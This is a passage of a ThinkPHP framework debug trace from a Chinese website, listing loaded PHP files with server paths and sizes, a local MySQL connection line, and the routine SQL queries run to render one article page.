  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.001069s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001511s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.033157s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000673s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001380s ]
  6. SELECT * FROM `set` [ RunTime:0.000645s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001533s ]
  8. SELECT * FROM `article` WHERE `id` = 510338 LIMIT 1 [ RunTime:0.101611s ]
  9. UPDATE `article` SET `lasttime` = 1787290718 WHERE `id` = 510338 [ RunTime:0.028711s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.004804s ]
  11. SELECT * FROM `article` WHERE `id` < 510338 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001217s ]
  12. SELECT * FROM `article` WHERE `id` > 510338 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001312s ]
  13. SELECT * FROM `article` WHERE `id` < 510338 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.002296s ]
  14. SELECT * FROM `article` WHERE `id` < 510338 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.023262s ]
  15. SELECT * FROM `article` WHERE `id` < 510338 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.086134s ]
0.458847s